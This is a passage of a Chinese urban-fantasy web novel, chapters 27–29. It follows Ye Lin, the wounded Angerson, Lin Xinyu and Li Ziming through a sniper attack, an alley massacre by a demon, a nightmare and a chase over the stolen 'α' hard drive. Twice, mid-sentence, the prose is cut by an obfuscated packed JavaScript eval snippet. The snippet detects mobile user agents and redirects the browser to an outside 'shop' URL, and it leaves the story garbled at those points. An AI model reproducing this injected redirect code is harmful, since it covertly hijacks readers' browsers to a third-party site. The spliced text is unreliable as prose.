那颗子弹穿过他的身体以后依旧像叶琳袭去,只是弹道已经发生了偏移,威力锐减的子弹仅仅划伤了叶琳脸颊的皮肤。但她同样没时间思考这些,安格森身体里飞溅出的血液在她眼前炸成一朵灿烂的烟花,把他身上的白色外套染得通红。 叶琳反应迅速地接住对面倒下的身体,安格森的胸前已然被鲜血完全浸透,杀伤力极大的狙击枪子弹在他的胸口留下狰狞的伤口,鲜血依旧如没关严的水龙头一样不断地从他身体里渗出,并且没有任何停止的迹象。 安格森暂时还没失去意识,但是脸色苍白,呼吸的声音愈发粗重。肺部被击穿后,回流的血液正在不断顺着气管从他口中涌出,呼吸在瞬间变得极为困难。他好像想说什么,但艰难的呼吸已经剥夺了他说话的权利,并且正在逐渐抽离他的意识,眼前本就不太清晰的画面更加模糊了,听觉也是,看口型叶琳应该是在喊他的名字,但他只能听见几个模糊的音节,而那寥寥的一点声音也在慢慢消失。 止不住的失血,受阻的呼吸,会在未来一个小时内,彻底剥夺他的生命。 在接住安格森的那一刻,叶琳就马上调整了位置。子弹的来源是左侧,所以她找到了左侧的掩体,迅速地躲在了掩体后面。 “安格森、安格森!”她呼喊着对方的名字,但这显然无济于事,对方已经没办法给她任何回应。并且同时她也能感觉到,安格森的体温正在不断下降,胸口溢出的血液已然浸透了衣服,顺着布料一滴一滴滴落在地面上,形成了一摊小小的血洼。 在远处的秦竹一此时也惊了,他想过自己可能无法一枪就杀死这只梦寐,但万万没想到安格森会突然挡上去。不过林欣予给他的任务中只有拿到那个硬盘,那这个人质的存活应该也不是必要的。 于是他很干脆的换弹,继续架枪、瞄准,把枪口对准了叶琳藏身的掩体。那块掩体的周围都是空地,她想从这离开,必然要经过那些地方。他现在离那里有几百米的距离,也不用担心会进入梦寐的能力范围之内。对面依旧是瓮中之鳖。 而就在他将眼睛放在瞄准镜上的时候,余光注意到了更远一点的地方,闪过一点寒光。 本能似乎告诉了他一些什么,他突然把眼睛从瞄准镜上移了下来。而下一秒,一颗子弹从他瞄准镜的前端射入,击碎整副瞄准镜!镜片在空中乱舞,散落了一地。 秦竹一的第一反应和叶琳一样,他马上趴了下去,保证自己的头部不会在对方的狙击视野下出现。可是到底是谁,在这个时候发现了自己的位置并瞄准了自己。 他拿出望远镜,探出一点视野,向着正对的远方看去。 那里确实站着一个熟悉的身影。 有着黑色顺直长发和蓝色眼睛的女人似乎没打算赶尽杀绝,在秦竹一望过去的时候,对面已经把狙击枪收进了一个长条的枪包里。 苏瑾年今天没穿那身绿色的长袖纱裙,换了一套反差极大的运动服,黑色的上衣加上黑色的裤子,衣服两侧还装饰有和她眼睛颜色相似的蓝色反光条。此时她也注意到秦竹一在看她,她朝向秦竹一的方向,伸出两只手的食指,在身前比了一个“×”,随后又用右手比作手枪的形状,对准秦竹一虚空开了一枪,嘴里好像还轻声念了一句“砰”。 做完这些动作后,她头也不回地走了。 “什么意思,再管这件事就杀了我?” 秦竹一这才把注意力拉回叶琳那里,却发现从那个掩体处向外蔓延出了一道血迹,血迹的尽头消失在下楼的楼梯那里,掩体后早就空无一人了。 好吧,或许现在该通知物零社去准备救护车了。 27.救援 夜色已经吞没了这座城市,城市独有的灯光在昏暗的幕布下逐渐亮起。而这也是一座繁华的大都市最混乱且繁忙的时刻之一,街道上车水马龙,行人匆匆忙忙,大城市的活跃在这一刻展露无遗。 然而叶琳没心思没时间欣赏这人类城市的美丽夜景,她现在的每一步,都是在和死神争夺时间。 “求你了,别睡……”她抱着怀里正不断失去温度的身体,顾不得再节省妖力,如飞一般迅速前往离两人最近的医院,但饶是如此,时间依旧很紧迫。 安格森身上的血流已经渐渐微弱,或许是因为能流出的血都已经流干净了,但狰狞的伤口依旧宣告着他的生命仍处于危险边缘。叶琳不停地叫着他名字,让他不要失去意识。安格森自己也清楚,在这种情况下一旦失去意识就会很难再度醒来,但在严重的失血下,他完全无法抵抗生理反应,只能靠意志力和强烈的昏厥感对抗,直到终于在视线中看到一个熟悉的亮光标识。 申海市第一人民医院,这是全申海乃至全国数一数二的医院,也是离他们最近的医院,不知道是幸运还是不幸。 之前,叶琳为了避开高峰期的人流快速到达医院,走了很多偏僻的小路,这些藏匿于繁华城市之下的小路甚至没有路灯,角落里随处可见不知是什么动物的尸体,但好在这些路上根本看不见人,不会阻碍叶琳的脚步。 直到,医院耀眼的灯光,出现在小巷的出口处。 叶琳狂奔的脚步突然停下了,看着眼前的灯光和人流,在依旧昏暗的小巷里停下了脚步。 片刻地犹豫后,叶琳咬了咬牙,还是迈开脚步,向光亮处走去—— “等…等等……”突然,一个弱到几乎微不可闻的声音叫住了她。叶琳低头看向怀里的安格森,他很努力地想说什么,但是因为肺部的伤口,只能吐出一些不完整的语句。 “你…不能……医……” 叶琳当然知道,她不能带着安格森去医院。自己现在的身份多少算是个逃犯,而物零社的网遍布这整个城市,医院这种人多眼杂的地方,自己的能力也几近失效,一旦自己抱着浑身是血的安格森冲进医院,很难再度脱身,更别提完成交易,再去拿到神树血。 但比起因为替自己挡了一枪而重伤的安格森的性命,叶琳愿意放弃自己一直以来所追求的神树血。 然而,叶琳还是没能走出这个无人的小巷,一个身影突然出现,挡住她的去路。 “等等。”来人像是要补全安格森的话一样,“你不能带着他去医院。” 来人还穿着那身简单的黑色运动服,单肩背着一个长条形状的包,看长度刚好能够放下一把狙击步枪。女人有着黑色的长发和蓝色的眼眸,她出现在叶琳面前的那一刻,强大的压迫感席卷而来,彻底让叶琳停下脚步。 “初次见面,叶琳小姐。”对方开门见山:“你可以叫我苏瑾年。” 叶琳对这个名字并不陌生:“早就听闻鹿千身边跟着一只梦寐,没想到今天才见到你。但现在能否把路让开?人命要紧。” 不同于人类,妖和妖之间的感应更加敏感。苏瑾年仅仅是站在叶琳的前方,叶琳就能清楚地感知到,对面是自己的同类,并且远不是自己能匹敌的对手,不愧是侍奉于“麇”的左右的妖。叶琳看了眼怀里即将逝去的生命,咬牙下定决心,事已至此,无论如何她都不会让安格森死去。 “当然,人命要紧。”出乎意料地,苏瑾年认同了叶琳的话,即使她丝毫没有让路的意思,“这里离医院已经很近,把他留在这里,物零社用不了多久就会前来搭救。” 面对叶琳投来的充满敌意和疑惑的目光,苏瑾年温柔地笑笑:“你可以相信我,我没有任何骗你的必要,只是为你提供一个能够两全的方法。” 或许是出于对同类莫名的信任,或许是因为对方绝对性的实力压制,叶琳半信半疑地先把安格森放下来,扶着他靠坐在墙边,才转身提起十二分注意力面对苏瑾年:“选在这个时间点出现,你到底想干什么?” “你和鹿千做了交易,对吧?”苏瑾年说:“我想更改一下交易的内容,当然,对你不会有任何损失。” “不过我们得换个地方说话。”苏瑾年看了一眼被叶琳放在墙边、奄奄一息但还在勉强维持着意识的安格森,神色似乎有些复杂:“不用担心,要更改的交易内容也是鹿千授意给我的,如果之后你坚持要神树血,我们依旧可以提供给你。” “你们到底什么意思?”叶琳没有轻举妄动,她往旁边挪动几步,挡住苏瑾年看向安格森的视线:“现在出来和我说更换交易内容,也太奇怪了。鹿千呢?让鹿千出来说话……” “我会与你解释清楚。”苏瑾年打断她,“但你现在必须离开,物零社的人要来了。你也不想因为自己在这里逗留,耽误了抢救的时间吧。” 看叶琳还在踌躇不定,苏瑾年无奈地叹了口气,开口说道:“如果他今天因为枪伤死了,我再额外给你一滴神树血如何?这样你也能救他。” “好。”叶琳终于松了口,答应了苏瑾年的提议:“说吧,新的交易内容是什么?” …… 如果可以,安格森其实也想现在就昏死过去。失血带走了他身体里的大部分能量,然而每次艰难地呼吸都会带来如烈火灼烧般的剧烈疼痛感,一直维持着他意识的清醒。从叶琳抱着他下楼,到现在叶琳跟着苏瑾年离开,这种半死不活的感受一直折磨着他。 他伸手捂住自己胸前的伤口,想要试图缓解呼吸带来的疼痛,但基本没什么作用,只是让他再次意识到了自己现在正处于十分严峻的失血状态。尽管现在出血量已经少了很多,但汩汩的血流仍然不一会儿就顺着他指尖的缝隙溢了出来。 人类的身体真是脆弱啊。他不禁这样想,如果自己有叶琳那样的身体素质,这种伤口是不是早就该开始愈合了?只可惜他并没有,所以现在只能在这独自承受所有的疼痛和折磨。 “该死的物零社,怎么还不来,”安格森吃力地靠着墙壁,强撑着不让自己滑落下去,转头望向小巷的深处,那里没有灯光,现在只能看见一片黑暗,“这个巷子看上去可不怎么安全啊……” 突然,他浑身一凉,转头向小巷深处看去,黑暗中传来错乱的脚步声,和一些嬉笑打闹的声音,而这声音正不断向他靠近—— “喂,这是什么,我没看错吧!” 是一个男人的声音。 “这是天上掉馅饼了啊!” 声音越来越近,直到发出声音的来源站定在安格森面前,他才看清具体的情况。 三个人打扮各异,有种地痞流氓的气质,领头的男人还带着一个食指粗的大金链子。简单来说,一看就不是什么好人。 发现安格森靠坐在这里之后,三人团团围住他,开始一段像是在端详货物的交谈。 “搁这还能捡到个人,还是个成年男人,这能卖多少钱?” “至少上百万,这种质量的器官可不常见。” “能有这么多吗,感觉这人快死了。” “快死了岂不是更好,不用咱动手了,不然要对付男的还是挺费力的,我上次打架的伤还没好呢。” “怎么做?咱们是把人带回去,还是直接在这把器官剖走?” “当然是把人带回去啊!蠢货,没有器官的尸体在这被警察看见怎么办!” ……没搞错吧。听面前这群人七嘴八舌的讨论,安格森是越听越绝望,这伙人分明是伙器官贩子,面对重伤濒死的安格森,他们此刻已经开始讨论该如何开刀了。 更糟糕的是,安格森又在这群人的身后,看见了一些他们看不见的东西。 层层叠叠的黑色雾气,突然浮现在了这群人身后的地面上。随后这黑色的雾气愈发浓烈,愈发高昂,在空中凝结成了一个有一人半高的怪物的模样。 魑魅,他早该想到的,这种阴暗不见光的小巷子,一直都是魑魅最喜欢的栖身之所。 如果几分钟前的自己知道会发生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151900|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种事,安格森绝对不会让叶琳把自己留在这个地方。可现在再反悔已经太晚了。 那几个器官贩子越聊越高兴,像是已经从面前这人的身上生吞活剥出来了几百万的价值。他们身后那个片只有安格森能看见的黑色的雾气正在强烈地抖动,那黑雾怪物也愈发兴奋。但想想这几人之前说出的话语,一时竟不知道究竟是哪边更像怪物。 眼下的场景可谓是前有狼后有虎,只是现在虎狼都在安格森的正前方,而他的背后是坚固的水泥墙,封死了他所有退路。 看着不断逼近的三人一怪,安格森似乎只能在心里默默祈祷—— “该死的物零社,怎么还不来人啊!” …… 原本跟随着物零社大部队的林欣予,突然离队了。 原因也简单,她从秦竹一那得到了消息,安格森替叶琳挡住狙击枪的子弹,子弹击穿胸口,而叶琳正带着安格森往第一人民医院的方向走。 林欣予此时有无数的脏话想骂,但想到对方是秦竹一,估计会说“你之前又没说不能伤人质”,所以她把无数粗鄙的言论都憋回了肚子里。但她现在也只能祈祷那绑匪能带着安格森顺利的赶到医院,如果安格森因为这种事失去生命,那自己多少也算半个杀人凶手,毕竟秦竹一一切的行动都是她安排的。 带着满腹的担忧,林欣予赶到了医院的门口。 “他被那只梦寐放在西南边的一个小巷里。”耳机里,秦竹一给林欣予提供方向,“可以直接过去,那只梦寐被苏瑾年带走了,不用担心和她们产生正面冲突。” “苏瑾年?”林欣予努力控制自己的音量,“又有她什么事!?” “谁知道呢,估计绑架这件事也和她脱不了干系。”秦竹一看似很善意地提醒林欣予,“比起想这些,现在救人更重要。” “废话!”林欣予此时已经向着那个小巷的方位跑去,“你别装得跟个没事人一样,我后面再处理你的事!” 说到这里,林欣予狠狠挂断了电话,加快速度朝着小巷跑去。 还活着,一定还要活着!林欣予会不自觉地把事情往最坏的方向想,她深怕自己赶到小巷的时候,只能看见一具冰冷的尸体,所以不停说服自己,事情不是总会往最坏的方向发展。 终于,她跑到了小巷的入口处。 唯一的月光被厚重的云层遮蔽了,巷子里几乎没有光亮,黑暗的环境让其他感官变得更加灵敏,浓烈的血腥味顺着晚风包裹了林欣予周身的所有空气。 林欣予慌乱地掏出手机想要打开手电筒,而云层却在此时恰到好处地散开了一个缺口,一束洁白的月光就从那缝隙间倾洒而下,如同聚光灯般,瞬间照亮血腥的中央。 她本以为,最坏的情况,是看见一具尸体。而现在倒在地上的,却是三个陌生的男人。 “安……安老师……?” 眼前的画面让林欣予瞳孔紧缩,背后的冷汗瞬间浸透衣衫。狭窄的小巷里,地面已经完全被血液覆盖,像是一个被血液填满的池塘,三具残破的尸体七零八落的散在血池的各个角落。林欣予一眼就可以看出来那些狰狞的伤口不是人类的手笔,是魑魅的所作所为。 小巷里还站着一个人,他缓缓开口: “你都看见了。” 那是林欣予熟悉的人,是她的任课教师,是过去给予过她帮助的良师益友。 安格森站在那滩血池的中央,胸前被子弹贯穿而留下的恐怖伤口还清晰可见,身上的衣服早已被染成了血红的颜色,分不清是他自己的血,还是此时地上那三具尸体流下的血。而身为罪魁祸首的那只魑魅,正乖顺地依偎在他身侧,像只护主的小狗。 “安、安老师……这是……”林欣予想开口询问,但无与伦比的恐惧感彻底淹没了她的所有思考。 面前红发蓝眸的异国男人叹了口气,伸手在身旁轻轻一握,那魑魅瞬间化为飞灰,消失地无影无踪—— “物零社的人,来得真不是时候。” 28.噩梦 她闻到了硝烟的味道。 睁开眼时,她的眼前是一栋木质结构的屋子,像极了百年前的古代建筑,而这充满古韵的房屋此时却被熊熊大火吞没,她身处烈火的中央,被一个女人狠狠抱在怀中。 随后,她的身体动了,完全不受她的控制,也抱住了眼前的女人。 她这才意识到,这不是自己的身体。但这具身体所看到的残垣烈焰,所听到的尖叫与悲鸣,所触摸的丝绸布料与黏腻的鲜血,都如同她本人经受一般,呼吸之间都是灼热的空气,惊慌与恐惧控制了全部的生理反应。 “君……辰……”面前的女人似乎在呼喊这具身体的名字,但只能颤抖着吐出一些碎裂的音节:“你要……活……” 女人的话被打断了,被一柄锋利的长剑打断。长剑刺穿她的脖颈,停留在这具身体眼球前的分寸之处,她感受到温热的血液飞溅而出,像水一般泼向了她的脸庞,在瞬间覆盖了视野,让眼前的一切都变得通红。 抱住她的身体没了力气,如一个破麻袋,被手持长剑的来人粗暴地踢到一旁。眼前是一群人,一群穿着古代装束的成年人,有男有女,手上都拿着各种利器,衣服上都几近被血液浸透。 不要……不要……不要让我看这些!她拼命地抗拒,想要闭上眼睛,仿佛只要看不见,这一切就都不会发生。但这不属于她的身体完全不受她控制,只能反馈给她恐惧与愤怒带来的颤抖。 “娘!娘!!!”这身体发出了撕心裂肺的哭喊声,想要朝着那女人的尸体爬去,却被那些人抓住脚踝,狠狠地拽了回来。她只觉得眼前的血色愈发浓厚,所有的事物都像是被蒙上了一个红色的滤镜,身体各处都传来了明显的疼痛感,好像是血液在体内沸腾燃烧。 现场充斥着各种嘈杂的声音,而这些人的谈话声却异常的清晰,每个词句都清晰的传进了她的耳中—— “这是最后一个了吧,好像是长子?” “这么小的孩子也要……” “当然要!这是祸患,不能留!” “看他的眼睛,他的眼睛变成红色了!杀、快杀!他们果然不是人类!” “我也不想杀小孩,但是……” “但是!” 众人异口同声,掷地有力。 “这是替天行道!” 沾满鲜血的长剑高高举起,对准了她的胸口,毫无犹豫地狠狠刺下! “不要!!!!!” 林欣予猛然睁开了双眼,入眼是一片洁白无瑕的天花板,天花板上的白炽灯正安静的发着亮光,但这刺眼的光几近让她的双眼燃烧。 她猛地坐了起来,伸手捂住了眼睛,眼前正常色调的画面突然变得通红,针刺般的感觉让她甚至想把双眼挖出来。但好在这感觉并没有持续多久,寥寥几秒后,疼痛感和灼热感渐渐衰弱,眼前的色调也开始逐渐恢复正常。 这是哪,发生什么了?我睡着了?又是那个梦…… 林欣予有很多疑惑的地方,但那身临其境的梦境还缠绕着她的感官,遗留的恐惧感让她根本没有思考其他事情的余地。 直到有人推门进来。 一个她十分熟悉的声音呼唤着她的名字,伴随开门声和脚步声,黎子鸣的声音在瞬间把她拉回现实:“林欣予,你醒了吗?” “别过来!”林欣予还捂着眼睛,从手指间的缝隙里看见了正在靠近的黎子鸣,瞳孔中的鲜红色还没有完全褪去,她不能让人看见自己现在的眼睛。 黎子鸣被这声呵斥吓住了,一下子呆站在原地,不知道是该进还是该退。 或许是意识到自己有些太凶,林欣予语气柔和了一些,接着说:“抱歉,我做噩梦了,让我缓一会儿,你能先出去吗?” 好在,黎子鸣一直是个很善解人意的好孩子,虽然不清楚林欣予那发生了什么,但他还是先离开了房间,然后一个人在门口郁闷。 重新安静下来的房间里,林欣予总算冷静下来。身体上的异样渐渐都被平复,五感重新清晰,刺鼻的消毒水味此时才闯入林欣予的鼻腔,她环顾四周的装饰,基本能确定这是在医院里,而自己躺在一张靠窗的病床上。 她摇了摇头,把那梦境的画面从脑海中甩出去,从而能够更好的追溯再往前的记忆。她记得自己收到秦竹一的消息,得知安格森中枪,心急火燎地跑去医院旁的一个小巷想要救人。 自己好像到了那个小巷,看见了很多血,好像还看见了魑魅……然后呢……? 无论自己怎么回想,之后的记忆都是一片模糊,像是在一团迷雾,只能看见一个大概的轮廓,却怎么也想不起具体的内容,再想下去只会越来越头痛。 突然,黎子鸣有些幽怨又夹杂着担心的声音从门外飘了进来:“你还好吗?我给你买了瓶水!” 他手上拿着水,正在门口踌躇不定。虽然当时林欣予呵斥他让他出去,但她的样子不管怎么看都不太对劲,让黎子鸣不由地担心,但又不敢直接开门进去。就在他准备伸手敲门的时候,门从里面打开了。 “谢谢。”林欣予接过他递来的矿泉水,拧开瓶盖喝了一口:“刚刚吼了你,对不起。” “没事没事。”黎子鸣说:“经历那种事情确实容易做噩梦。” “那种事情?”林欣予抓住了他话语中的关键词,“你知道我发生了什么吗?” “欸?” 林欣予解释道:“到小巷以后的事情我不太记得了,之后发生了什么?我怎么会在医院?安老师呢?” 她一下子问了很多问题,而黎子鸣顺着她的问题开始一个一个回答。 “我其实也有点混乱,我们赶到这边的时候,你已经在医院里了。” 根据黎子鸣的描述,他们赶过来的时候,林欣予已经把安格森送进了医院,坐在椅子上等他们来。在黎子鸣和林睿雅赶到后,林欣予跟他们交代了一些事情,随后估计是因为劳累,所以在座椅上睡着了。林睿雅就问了下医院,用了间空闲的房间让她能躺着休息。 “安老师受伤的那个小巷里,出现了一只魑魅。”黎子鸣复述着一小时前林欣予对他们所说的话,“那魑魅杀了三个路人,安老师受了重伤,没有反抗能力,好在你及时赶到,才把他救了下来。” “那魑魅呢?” “已经被你抹除了。”黎子鸣说:“睿雅姐正在那边处理现场,现场有找到你的附魔器, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156863|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清理后应该会还给你。” “……真的是我亲口跟你们说的?”林欣予有些半信半疑。 “真的啊。”黎子鸣很坚定,“你姐姐也在场,要不你去问她。” 不行,还是想不起来。林欣予揉了揉太阳穴,她本以为听别人的描述能多少唤醒一点自己的记忆,但饶是如此,自己的记忆还是一片空白,不管是小巷里发生的事还是到医院之后的事,全都像是喝醉后的断片一样,这段记忆似乎根本不存在于她的脑海之中。 看来现在的思考只是徒劳无功,林欣予无奈暂时放弃去寻找这块空白的记忆,转而问道:“安老师怎么样?” “还在手术中。”黎子鸣说:“不过刚听医生的意思,应该没有生命危险。” 听到这句话,林欣予终于松了口气,好在没有人因为自己的原因死去。至于那三个被魑魅杀死的路人,只能怪他们运气不好。 “陪我出去一趟吧。”林欣予对黎子鸣说:“我想去那个小巷再看一眼。” “好。” 时间已经接近0点,繁忙的医院此时也冷清了许多,院子里空无一人,寂静得连根针掉在地上都能听见。一走出大门,初夏夜晚略来清凉的空气瞬间让人清醒了不少。时至如今,林欣予才终于感觉周身的血腥味慢慢减淡。她深吸一口气,再缓缓吐出,城市的灯光在此刻给了她不少安慰。 看着林欣予不断深呼吸的样子,黎子鸣不禁担忧地说:“要不还是别去了,那边还留着尸体,我怕刺激到你。” “别担心,刺激我的不是那些尸体。”更多的是那个不断重复的噩梦,和自己头脑中空白的那段记忆。 听到她这样说,黎子鸣也不好再阻拦什么,只是自从他从医院建筑的大门出来后,就一直感觉到了某种异样,像是有什么东西在一直盯着自己,并且正在不断靠近。 而且眼前的画面似乎也不太对劲,黎子鸣看着医院广场中央种植的那棵参天大树,刚刚进医院的时候,这棵树有这么茂盛吗? 从察觉到一处不对劲的地方开始,周围的一切突然开始出现各种违和感,现在明明是夏夜,申海又是南方城市,夜晚怎么可能连一丝一毫的蝉鸣都没有,这里现在的寂静过于诡异了。 “等等,林欣予。”黎子鸣叫住同伴,“这里不对劲。” 与此同时,他感受到了一股熟悉又陌生的力量,与自己的灵力正在强烈的排斥。他突然想起林欣予之前给他描述过的——“妖力”。 林欣予此时也停下了脚步,很显然,她也感受到了异常。 那股妖力愈发强烈,并且逐渐向同一个地方集中。黎子鸣追随着力量的来源,在那棵茂盛的树下看见了一个人。 是一个女人,正扶着树干站在树荫之下,留着褐色的短发。黎子鸣突然想起之前关于绑匪外貌的描述,似乎就是一个褐色短发的女人。而林欣予曾警告过他,绑匪很有可能不是人类。 褐色短发的女人确认两人都看向她后,旋即转身朝着远处跑去。 他转头看向身侧的林欣予,发现林欣予同一时间也看向了他。两人的目光短暂地交接,下一秒就统一了双方的意见。 “追!” 29.善恶 “你说…什么……?” 苏瑾年的每一句话都像是一把尖锥,每一句都在往叶琳心里最深处的地方刺。叶琳在试图保持镇定,但颤抖的声音和双手都在出卖她。 她的衣领被叶琳抓住,对方死死攥着那块布料,看似十分用力,但又在不断的下垂滑落。混乱与无助此刻她身上展现得淋漓尽致,苏瑾年甚至能看到对方隐隐流出的泪水,仅存的一点理智在支持她不在陌生人面前崩溃大哭。但在苏瑾年看来,她的状态已经无异于崩溃。苏瑾年有些不忍,伸手托住了叶琳下滑的身体。 明明都是非人的生物,此时表露的情感却和人类别无二致。 但苏瑾年必须说。 “我说的是不是真的,你心里有数。” 每个字都刺骨如冬天的寒风。 “神树血根本救不了你爱人。” …… 眼前的女人,身手看着异常敏捷,每当黎子鸣和林欣予好不容易追上几分,马上又会被拉开一段。接近十分钟的追逐里,他们一直保持着大概十米的距离,两人几乎是被对面带着跑,在城市的各个小巷里到处穿梭。 这种情况,是个人都能感觉到不对劲。 “她是故意的。”林欣予说:“这明显是故意在引我们去什么地方。” 黎子鸣显然也看出来了:“那还追吗?” 万一是对面设好的陷阱,两人这样追下去,很有可能遇到危险。 “你带武器了吗?”林欣予把黎子鸣从头到脚扫了一遍,并没有在他身上看到携带武器的包。如果黎子鸣没带附魔器的话,林欣予可能会选择撤退。单凭她一个人对付梦寐,还是太勉强了。 “带了。”出乎意料的,黎子鸣居然给出了肯定答复,他掀开外套,腰间赫然别着一把通体银色的精致短刀,上面刻着繁杂的花纹。 “我带了那件零器。” 零器,附魔器中的核弹,黎子鸣曾获得了一把物零社的零器的使用权,作为他优异成绩的奖励。 “那就追吧。”林欣予看着眼前那女人的背影,“有你和零器在,就没什么好担心的。” 周围的景色不断变化,灯光越来越少,还出现了断断续续的水声。定睛一看,才发现此时几人都来到了江边,这条大江如巨龙般横亘在城市中央,再往东就是入海口。 而那个女人,也就是叶琳,在江水旁的堤坝上停下了脚步。 看对面停下了,黎子鸣和林欣予也马上停了下来,还是保持着十米左右的安全距离。黎子鸣此刻已经把手放在了刀柄上,全神贯注地提防着对面的所有动作。 但不料,对面开口了,却是一个十分平和的态度。 “你就是黎子鸣?” 听到对方叫出自己的名字,黎子鸣一愣,下意识反问道:“你怎么知道我的名字?” “这不重要。”叶琳直接转移了话题,她只用确认自己没找错人,“你们不用那么紧张,我不是来打架的,也没有要伤害你们的意思。” 这样说着,叶琳从口袋里拿出了一个黑色的长方体,上面烫金的“α”字样在月光的照射下正反射着七彩的光。她站得离江边很近,只需轻轻一挥,硬盘就会被投入深不见底的江水之中。 “α!”林欣予惊呼出声,这还是她第一次切实地见到硬盘的本体,“你要用那个硬盘干什么!?” “不干什么。”叶琳似乎是在回复林欣予的话,但她的目光始终未从黎子鸣的身上挪开,后来的每一句话也都是对着黎子鸣说的,“我可以把这个硬盘还给你,但条件是,你要听我说一段话。” “……”黎子鸣沉默了,好像是在严密地思考着什么,半晌后,他终于开口—— “α是什么?那个硬盘怎么了吗?不是我的东西啊,为什么说要还给我?” “欸?” “啊?” “等等、等等等等等等等等!”林欣予突然在旁边拉住了黎子鸣,“你不知道那个硬盘是什么吗!?” “啊?是什么?”黎子鸣投去了满脸的问号。 “你真不知道啊!”林欣予有点不知道该说什么,“那你为什么要参与这次的行动?” “安老师被绑架了啊,我肯定要来救人啊!” “那之前徐贺那个事情呢?” “前期是苏佑容叫我去帮忙,后面是睿雅姐叫我去帮忙,我又没事干,就去了呗。” “……他们就没跟你说一点事件内幕详情?” “没啊,我知道内幕详情有什么用吗?” 林欣予突然油然而生出一种恨铁不成钢的情感:“‘α’是那个硬盘的名称,硬盘里是对物零社很重要的机密文件,当时要抓徐贺就是因为怀疑他偷走了α硬盘,但实际偷走硬盘的是这个女人,她打不开文件,于是绑架了给文件做加密的安老师——所以我们这一系列行动的最主要目标,是要拿回α硬盘!” 她这三言两语着实是包含了很大信息量,面前的黎子鸣微瞪双眼,好像在艰难地处理这些信息。又是半晌后,他才踌躇着又问出一句:“所以只需要拿回硬盘就好了?” “其实最好也能把这个偷走硬盘的女人活捉。”林欣予很想说这么一句,但她怕再加这一句会把黎子鸣CPU彻底烧了,所以只是肯定了他的话:“没错,要把硬盘拿回来!” “那你不早说!”黎子鸣突然话锋一转,朝向拿着硬盘的叶琳的方向伸手,“你要说什么?快说!然后把硬盘还给我!” “……”叶琳看着眼前两个年轻人的闹剧只觉得又无语又头疼,明明刚才现场的气氛很严肃,非常适合接下来同样严肃的话题,结果被黎子鸣这么一闹,这种紧张的氛围感全部消散一空了。 但这些不重要,她只需要把消息传递给这个名为黎子鸣的年轻人,就可以完成她和苏瑾年、和鹿千全新的交易。 “那你听好了,我要说的是这一切的幕后黑手。” 两个年轻人都是一愣:“幕后黑手?” “对,没错。”叶琳点点头,“先说我吧,看你们的样子应该知道,我并非人类。出于一些原因,我和某个存在达成了交易,而拿到这个名为α的硬盘文件,则是我的交易筹码。” “等等,”林欣予打断了她,“那你现在为什么又说要把硬盘还回来?” “我们变更了一些交易内容。”叶琳晃了晃手里的硬盘,“他们现在不需要这个硬盘了,所以托我物归原主,顺便当个中间人,给你们递几句话。” 说到这,她特地指定黎子鸣:“特别是你,黎子鸣。” “我?”黎子鸣指了指自己,“为什么?” 叶琳耸耸肩:“我也不知道,但我和那边的交易内容是这样,我只是奉命行事。” “好了,我们节省时间,言归正传。”叶琳把话题拉了回来,“之前你们遇到的徐贺,其实也是在那个存在的指示下进行的。” “这人是伏地魔吗?”黎子鸣小声的吐槽了一句,“这个存在那个存在的,不能直接说名字吗。” 但林欣予显然没听他的吐槽,她的表情十分严肃。 另一边,叶琳接着说下去:“幕后主使名为鹿千,他是麇,是只不老不死的妖怪。” “麇”,熟悉的名字。林欣予想起昨天自己向安格森询问人形妖怪的时候,安格森除了提到梦寐外,确实还提到了一个名为“麇”的存在,而自己当时因为只是所谓的传说,并没有放在心上,结果现在居然是这样一个东西在背后驱使一切吗? 和林欣予不一样,黎子鸣是第一次听到这种东西,他的关注点显然在其他地方:“不老不死?如果是不老不死的话,之前那么长时间,他在干什么?我们怎么会从未听过关于这个叫鹿千的人的消息。” 问得好!林欣予心中肯定黎子鸣,如果这个妖怪真的是不老不死,那一定活过了很长的时间,物零社多少也算是业内顶尖的除魅师组织,连物零社内都没有关于他的消息,其存在的真实性必然急剧下降。 而这个疑问下一秒就被解答。 “因为他并不是一直都在人间活动。”叶琳说:“所谓的‘不老不死’,其实更接近于死后的复苏,他的每一次死亡都需要大量的时间重塑身体和积攒力量,大概八十年的时间,才能让他重新恢复行走于世间的能力。” 八十年,几乎是普通人的一生。如果叶琳所言都是真实,就能够解释之前的问题,为什么这么多年没有一点关于鹿千的消息。如果他确实是最近才复苏,向前追溯八十年,正好是第二次世界大战的期间。 但饶是如此,物零社可能会一点消息也不知道吗?如果林欣予没记错的话,物零社也有将近八十年的历史。这样算来,物零社创始之初时,鹿千应该还没有进入休眠复苏状态,而这种超模的存在必然会被物零社记录,即使物零社没有记录,也肯定会有很多典籍中有关于麇的记载,又怎会到现在只有安格森提过一句寥寥的“存在于传说之中”。 难道物零社出于某种原因,封锁了关于麇、关于鹿千的存在吗? “而且,他的复苏还不止如此。”叶琳不知道对面的年轻人想了这么多,只是在叙述自己需要传达的消息:“鹿千的身上,存在着两个不同的人格。” “双重人格吗?”林欣予问。 “类似,但并不完全是。”叶琳解释道:“更准确的说,应该是两种不同的性格。他有着相同的记忆和相同的能力,但不同的人格影响着他所有的行动方式,而这两种人格分立于善恶两个极端,以他每次的‘死亡’为基准切换。” 说到这里,一种不详的预感出现在每个人的心中。 “这次复苏的鹿千,属于那个纯恶的人格。” 果然如此。 